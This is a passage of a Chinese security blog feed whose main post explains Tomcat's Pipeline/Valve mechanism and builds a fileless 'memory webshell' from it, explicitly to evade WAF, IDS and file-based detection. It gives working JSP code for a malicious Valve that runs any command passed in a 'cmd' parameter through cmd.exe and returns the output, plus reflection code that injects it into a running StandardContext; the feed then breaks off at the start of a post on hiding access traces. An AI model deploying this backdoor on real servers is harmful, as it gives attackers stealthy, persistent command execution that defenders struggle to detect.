data-ratio="0.5995297805642633" data-s="300,640" style="" data-type="jpeg" data-w="1276" src="https://wechat2rss.xlab.app/img-proxy/?k=ee68ff90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW6217F5dhhT4y3fZNPA2JWI5ACm2exC3ZImQ1mVCV7s3CUickPCFnNryiaQ%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-indent: 2em;text-align: center;"><span style="text-align: center;font-size: 14px;">（图自喜欢的古风插画家<img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=b6dbc917&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgF9JSnDeMUeEm0TF4FyXIo6dySZ0Jt4Du8SCfoG7IlQFvYicZLAt249A%2F640%3Fwx_fmt%3Dpng"/>：微博@</span><span style="text-align: center;font-family: Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 14px;color: rgb(121, 123, 170);">伊吹鸡腿子</span><span style="text-align: center;font-size: 14px;"> ）</span></section><section style="text-indent: 2em;text-align: center;"><br/></section><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(54, 41, 47);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景：</span></strong></span><br/></h6><p style="white-space: normal;"><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;color: rgb(54, 41, 47);">基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。</span></p><p style="white-space: normal;"><span style="color: rgb(54, 41, 47);"><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;">结合当下的形势，对Tomcat容器的管道机制进行了研究分析，并最终利用Valve<span style="color: rgb(54, 41, 47);font-family: 等线;font-size: 15px;">成功</span>构造出新型内存马。</span></span></p><section style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 28px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(121, 123, 170);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">声明 ：</span></strong></span></h6><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><section style="text-indent: 2em;text-align: center;"><br/></section><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 0;padding: 0;line-height: 26px;background: rgb(255, 255, 255);"><span style="font-family: 等线;letter-spacing: 1px;font-size: 17px;"> </span></p><p><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">一、何为Valve？能做些什么？</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">Valve译文为阀门。在Tomcat中，四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中，都有一个管道(PipeLine)及若干阀门(Valve)。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">形象地打个比方，供水管道中的各个阀门，用来实现不同的功能，比方说控制流速、控制流通等等。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">那么，Tomcat管道机制中的阀门(Valve)如出一辙，我们可以自行编写具备相应业务逻辑的Valve，并添加进相应的管道当中。这样，当客户端请求传递进来时，可以在提前相应容器中完成逻辑操作。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">由于Valve并不以实体文件存在，深入容器内部不易发现，且又能执行我们想要的代码逻辑，是一个极好利用点，接下来我们继续分析一下。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">二、Valve的机制？</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">正如前文所说，每个容器对象都有一个PipeLine模块，在PipeLine模块中又含有若干Value(默认情况下只有一个)。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">PipeLine伴随容器类对象生成时自动生成，就像容器的逻辑总线，按照顺序加载各个Valve，而Valve是逻辑的具体实现，通过PipeLine完成各个Valve之间的调用。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">在PipeLine生成时，同时会生成一个缺省Valve实现，就是我们在调试中经常看到的StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">在Tomcat中，有四大容器类，它们各自拥有独立的管道PipeLine，当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时，会首先调用用户添加的Valve，最后再调用缺省的Standard-Valve。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">注意，每一个上层的Valve都是在调用下一层的Valve，并等待下层的Valve返回后才完成的，这样上层的Valve不仅具有Request对象，同时还能获取到Response对象。使得各个环节的Valve均具备了处理请求和响应的能力。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;"><br/></span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6512915129151291" data-s="300,640" style="" data-type="png" data-w="542" src="https://wechat2rss.xlab.app/img-proxy/?k=dac2b91f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62cBYDRvUG1OpaPl88MUmiaxHBf0Smp55J4J0sczLTlpZN0xgSCPjicAuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 16px;color: rgb(47, 47, 47);">图1  管道处理流程</span></p><p><span style="font-family: 等线;font-size: 16px;color: rgb(47, 47, 47);"> </span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family: 等线;font-size: 16px;color: rgb(47, 47, 47);">三、Valve的调用和继承关系？</span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family: 等线;font-size: 16px;color: rgb(47, 47, 47);"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="499" data-ratio="0.9007220216606499" data-s="300,640" style="width: 554px;height: 499px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=77abc51e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62GjJOA7QlfCPc4icODvibLPzeM2rBHOZCSml3ribQqd7p7Zod8xxKXsEEQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">图2  调用Pipeline</span></p><p style="text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"><br/></span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">在CoyoteAdapter#service方法中，调用StandardEngine#getPipline()方法获取其pipeline，随后获取管道中第一个valve并调用该阀门的invoke方法。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.41155234657039713" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=bc50a7fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62l3g2tPTXJo4ibakMKtMN6bibXdUHbYndtibh8JsNA3DdAVe2WxcGDdcYg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">图3  默认日志Valve(阀)</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">在Tomcat默认的servler.xml配置中，定义了一个用于记录日志的Valve，查看这个org.apache.catalina.valves.AccessLogValve类</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.09747292418772563" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4a70446f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62jmt6Apc05rSbGeZexkg8iaJ26gPbosfazZrSYGcZRAcvr3OuibAXZPVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">图 4  AccessLogValve抽象类</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.10288808664259928" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=fb29b912&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62KgHRcr7DwrYmouwe7empHZYUKo7tVwGew8sibd44Wic8hmVb4pQuWzPQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 28px;text-align: center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">图5  Valve基类</span></p><p style="text-indent: 28px;text-align: center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;"><br/></span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;">继承于ValveBase类，而ValveBase又继承了LifeCycleMBeanBase类，ValveBase作为Tomcat的一个抽象基础类，实现了生命周期接口及MBean接口，使得我们可以专注于阀门的逻辑处理.</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5988372093023255" data-s="300,640" style="" data-type="png" data-w="344" src="https://wechat2rss.xlab.app/img-proxy/?k=68caba35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62AZ4zXhrecxX1ltzcVhxFibXkrKTE1Xnc158x0EJc5SBYu3RTL6NeEmw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">图6  Pipeline接口</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;text-align:center;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">而PipeLine也实现了addValve的方法。</span></p><p style="text-indent: 28px;text-align: left;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">经过以上分析，那么我们只需要编写一个继承于ValveBase的类，并重写Invoke方法，随后调用相应容器实例的getPipeline方法，再调用管道的addValve方法即可。</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">四、Valve代码编写</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">按照惯例，所用的包：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;%@ page <span class="code-snippet__keyword">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.valves.ValveBase&#34;</span> %&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.io.IOException&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.connector.Request&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.connector.Response&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.Valve&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;java.lang.reflect.Field&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.core.StandardContext&#34;</span> %&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">page</span> <span class="code-snippet__attr">import</span>=<span class="code-snippet__string">&#34;org.apache.catalina.Pipeline&#34;</span> %&gt;</span></span></code></pre></section><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">编写恶意Valve，注意到调用this.getNext().invoke(req,resp)方法调用下一个Valve，否则会在该Valve终止，影响后续的响应：</span></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">&lt;%!</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> myValue <span class="code-snippet__keyword">extends</span> ValveBase{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> invoke(Request req, Response resp) throws IOException, ServletException {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (req.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">              InputStream <span class="code-snippet__keyword">in</span> = java.lang.Runtime.getRuntime().exec(<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>[]{<span class="code-snippet__string">&#34;cmd.exe&#34;</span>, <span class="code-snippet__string">&#34;/c&#34;</span>, req.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>)}).getInputStream();</span></code><code><span class="code-snippet_outer">              Scanner s = <span class="code-snippet__keyword">new</span> Scanner(<span class="code-snippet__keyword">in</span>).useDelimiter(<span class="code-snippet__string">&#34;\\A&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> o = s.hasNext() ? s.next() : <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">              resp.getWriter().write(o);</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">this</span>.getNext().invoke(req, resp);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="text-indent: 28px;"><br/></p><p style="text-indent: 28px;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">注入到StandardContext中，当然你也可以注入到其他容器类，至于这里获取StandardContext的方法可以参考上一篇关于隐藏访问记录的文章：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Valve</span> <span class="code-snippet__attr">myValve</span> = <span class="code-snippet__string">new</span> <span class="code-snippet__attr">myValue</span>();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Field</span> <span class="code-snippet__attr">reqF</span> = <span class="code-snippet__string">request.getClass().getDeclaredField(</span>&#34;<span class="code-snippet__attr">request</span>&#34;);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">reqF.setAccessible</span>(<span class="code-snippet__attr">true</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Request</span> <span class="code-snippet__attr">req</span> = <span class="code-snippet__string">(Request)</span> <span class="code-snippet__attr">reqF.get</span>(<span class="code-snippet__attr">request</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">StandardContext</span> <span class="code-snippet__attr">context</span> = <span class="code-snippet__string">(StandardContext)</span> <span class="code-snippet__attr">req.getContext</span>();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Pipeline</span> <span class="code-snippet__attr">pipeline</span> = <span class="code-snippet__string">context.getPipeline();</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">pipeline.addValve</span>(<span class="code-snippet__attr">myValve</span>);</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="margin-left: 0;text-indent: 0;"><br/></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">五、效果展示</span></p><p style="margin-left: 0;text-indent: 0;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.25393700787401574" data-s="300,640" style="width: 495px;height: 126px;" data-type="png" data-w="508" src="https://wechat2rss.xlab.app/img-proxy/?k=3ec1ef68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62CNdeSYO1RroKU9yO18VarPG62yaMlPxczqcenbTdyQNtIr9aFnoNwg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6570397111913358" data-s="300,640" style="width: 499px;height: 328px;" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4d6da058&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62ny6iafibGbzYkXiaciaIxCtndicn4Hek7rZOjIAyVicAQkNHyl2wicEskibHWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5994962216624685" data-s="300,640" style="" data-type="jpeg" data-w="1191" src="https://wechat2rss.xlab.app/img-proxy/?k=2d95f31b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwT6Ov9SI06tz6TjQlCgW62Z6n5qcpmoVzDtEb1dJmD1UlPteicGh5P3WOpeHsNQ5jmxNGHNS3xB8g%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-indent: 28px;text-align: center;"><br/></p>



<p><a href="2247483892">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=34e1f9e8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483892%26idx%3D1%26sn%3D05bbd3388f0915edf900def85494ff59%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 21 Dec 2020 22:11:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之隐匿行踪</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483876&amp;idx=1&amp;sn=628c310c265cd6f678dabdd038984a8f</link>
      <description>珠玉在侧，如珠在渊</description>
      <content:encoded><![CDATA[<p>
原创 <span>Amev</span> <span>2020-12-16 12:58</span> <span style="display: inline-block;"></span>
</p>

<p>珠玉在侧，如珠在渊</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fc702e79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgY4vtkdygvzVSf1IL6tNJbltBCzRg7sGkYPZ8tKBEJ1bMRFOQRaHHww%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-indent: 2em;text-align: center;"><strong style="text-align: center;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong style="text-align: center;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></section><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="15" data-source-title="https://www.anquanke.com/post/id/225027"><section class="js_blockquote_digest"><p>原文首发于安全客 - 安全资讯平台</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A15%2C%22text%22%3A%22%E5%8E%9F%E6%96%87%E9%A6%96%E5%8F%91%E4%BA%8E%E5%AE%89%E5%85%A8%E5%AE%A2-%E5%AE%89%E5%85%A8%E8%B5%84%E8%AE%AF%E5%B9%B3%E5%8F%B0%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F225027%22%7D"><span class="blockquote_other"><a href="https://www.anquanke.com/post/id/225027" target="_blank">https://www.anquanke.com/post/id/225027</a></span></section></blockquote><p><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.6672268907563026" data-s="300,640" style="" data-type="jpeg" data-w="595" src="https://wechat2rss.xlab.app/img-proxy/?k=f5b16220&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgAFoicdcRdvPJm4ib3x5Dl6UiauwMHUNACkbep4n8BnBf3QzQDaZyCD4iaw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><span style="font-size: 14px;">（图自喜欢的古风插画家<img data-ratio="1" style="display:inline-block;width:20px;vertical-align:text-bottom;" data-type="png" data-w="20" 